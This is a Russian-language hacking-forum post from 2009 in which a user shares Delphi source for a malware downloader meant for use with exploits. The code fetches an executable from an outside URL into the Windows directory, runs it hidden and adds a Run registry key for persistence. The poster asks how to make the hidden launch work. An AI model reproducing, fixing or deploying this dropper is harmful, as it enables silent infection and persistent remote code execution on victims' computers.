Показать сообщение отдельно

  #3056  
Старый 14.03.2009, 13:12
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


По умолчанию

На скорую руку написал простенький довнлоадер под сплоеды:
Код:
program downloader;
uses windows, Registry, urlmon;


function sysdir: string;
var
f:array[0..255]of char;
begin
ExpandEnvironmentStrings('%WINDIR%',f,255);
Result := f;
end;

{Точка входа}
var 
 Registre:TRegistry;

BEGIN
urlmon.URLDownloadToFile(nil,PChar('http://shinobi.net.ru/colorpick.exe'),PChar(sysdir+'\fiesta32.exe'),0,nil);
 sleep(3000);
 winexec(PCHar(sysdir+'\fiesta32.exe'), sw_hide);
    
     Registre:=TRegistry.Create;
    Registre.RootKey:=HKEY_LOCAL_MACHINE;
    Registre.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', false);
    if Registre.ValueExists('fiesta') then Registre.DeleteValue('fiesta');
    Registre.WriteString('fiesta',sysdir+'\fiesta32.exe');
    Registre.Free;
END.
winexec(PCHar(sysdir+'\fiesta32.exe'), sw_hide);
из за этой команды не пашет скомпилированный файл (выдаётся ошибка доступа к файлу)

какие можете посоветовать альтернативы запуска файла в этой программе???

Shellexecute не пашет из за своего хендла
креатепроцесс тоже чёто не то... посоветуйте чё нить, чтобы файл нормально запустился...
 
Ответить с цитированием